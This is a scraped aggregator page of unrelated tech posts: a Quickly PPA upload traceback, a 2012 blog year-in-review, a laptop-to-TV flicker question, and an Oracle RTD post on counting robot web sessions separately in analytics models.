    I can't get Quickly to upload my project into my PPA. I've set up my PGP key and used it so sign the code of conduct, and the PPA exists. I don't know what other usefull information I can supply. robin@RobinJ:~/Ubuntu One/Python/gtkreddit$ quickly share --ppa robinj/gtkredditGet Launchpad Settings Launchpad connection is ok gpg: WARNING: unsafe permissions on configuration file `/home/robin/.gnupg/gpg.conf' gpg: WARNING: unsafe enclosing directory permissions on configuration file `/home/robin/.gnupg/gpg.conf' gpg: WARNING: unsafe permissions on configuration file `/home/robin/.gnupg/gpg.conf' gpg: WARNING: unsafe enclosing directory permissions on configuration file `/home/robin/.gnupg/gpg.conf' Traceback (most recent call last): File "/usr/share/quickly/templates/ubuntu-application/share.py", line 138, in <module> license.licensing() File "/usr/share/quickly/templates/ubuntu-application/license.py", line 284, in licensing {'translatable': 'yes'}) File "/usr/share/quickly/templates/ubuntu-application/internal/quicklyutils.py", line 166, in change_xml_elem xml_tree.find(parent_node).insert(0, new_node) AttributeError: 'NoneType' object has no attribute 'insert' ERROR: share command failed Aborting I reported this as a bug on Launchpad, because I assume that it is a bug. If you know a quick workaround, please let me know. https://bugs.launchpad.net/ubuntu/+source/quickly/+bug/1018138

    Read the article

  • Best of "The Moth" 2012

    - by Daniel Moth
    As with previous years (2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011) I’d like to wish you a Happy New Year and share a quick review of my blog posts from 2012 (plus speculate on my 2013 blog focus). 1. Like 2011, my professional energy in 2012 was dominated by C++ AMP including articles, blog posts, demos, slides, and screencasts. I summarized that over two posts on the official team blog that I linked to from my blog post here titled: “The last word on C++ AMP”, which also subtly hinted at my change of role which I confirmed in my other post titled “Visual Studio Continued Excitement”. 2. Even before I moved to the Visual Studio Diagnostics team in September, earlier in the year I had started sharing blog posts with my thoughts on that space, something I expect to continue in the new year. You can read some of that in these posts: The way I think about Diagnostic tools, Live Debugging, Attach to Process in Visual Studio, Start Debugging in Visual Studio, Visual Studio Exceptions dialogs. 3. What you should also expect to see more of is thoughts, tips, checklists, etc around Professional Communication and on how to be more efficient and effective with that, e.g. Link instead of Attaching, Sending Outlook Invites, Responding to Invites, and OOF checklist. 4. As always, I sometimes share random information, and noteworthy from 2012 is the one where I outlined the Visual Studio versioning story (“Visual Studio 11 not 2011”, and after that post VS 11 was officially baptized VS2012) and the one on “How I Record Screencasts”. Looking back, unlike 2011 there were no posts in 2012 related to device development, e.g. for Windows Phone. Expect that to be rectified in 2013 as I hope to find more time for such coding… stay tuned by subscribing using the link on the left. Comments about this post by Daniel Moth welcome at the original blog.

    Read the article

  • Having issues with flickering output to TV from Windows 7 laptop

    - by Nimmy Lebby
    I cannot tell why this is happening. I cannot get a pattern as to when it happens. Sometimes, I watch entire Hulu content without any interruptions. Other times, it happens 2-3 times in a span of 3 minutes. Then it stops for 10-15 minutes. Lenovo T410s Integrated graphics: Intel HD Graphics (Driver=8.15.10.2253, Video BIOS=2026.1) TV is a Zenith (does not happen with other laptop so doubt it's TV) TV connected to laptop using HDMI-to-DVI cable (previously was connected directly via DVI but I bought a new cable and it's still happening) Anyone could help me troubleshoot this? I'd greatly appreciate it. If you need more information, I'll be glad to provide it.

    Read the article

  • Ignoring Robots - Or Better Yet, Counting Them Separately

    - by [email protected]
    It is quite common to have web sessions that are undesirable from the point of view of analytics. For example, when there are either internal or external robots that check the site's health, index it or just extract information from it. These robotic session do not behave like humans and if their volume is high enough they can sway the statistics and models.One easy way to deal with these sessions is to define a partitioning variable for all the models that is a flag indicating whether the session is "Normal" or "Robot". Then all the reports and the predictions can use the "Normal" partition, while the counts and statistics for Robots are still available.In order for this to work, though, it is necessary to have two conditions:1. It is possible to identify the Robotic sessions.2. No learning happens before the identification of the session as a robot.The first point is obvious, but the second may require some explanation. While the default in RTD is to learn at the end of the session, it is possible to learn in any entry point. This is a setting for each model. There are various reasons to learn in a specific entry point, for example if there is a desire to capture exactly and precisely the data in the session at the time the event happened as opposed to including changes to the end of the session.In any case, if RTD has already learned on the session before the identification of a robot was done there is no way to retract this learning.Identifying the robotic sessions can be done through the use of rules and heuristics. For example we may use some of the following:Maintain a list of known robotic IPs or domainsDetect very long sessions, lasting more than a few hours or visiting more than 500 pagesDetect "robotic" behaviors like a methodic click on all the link of every pageDetect a session with 10 pages clicked at exactly 20 second intervalsDetect extensive non-linear navigationNow, an interesting experiment would be to use the flag above as an output of a model to see if there are more subtle characteristics of robots such that a model can be used to detect robots, even if they fall through the cracks of rules and heuristics.In any case, the basic and simple technique of partitioning the models by the type of session is simple to implement and provides a lot of advantages.

    Read the article

< Previous Page | 532 533 534 535 536 537 538 539 540 541 542 543  | Next Page >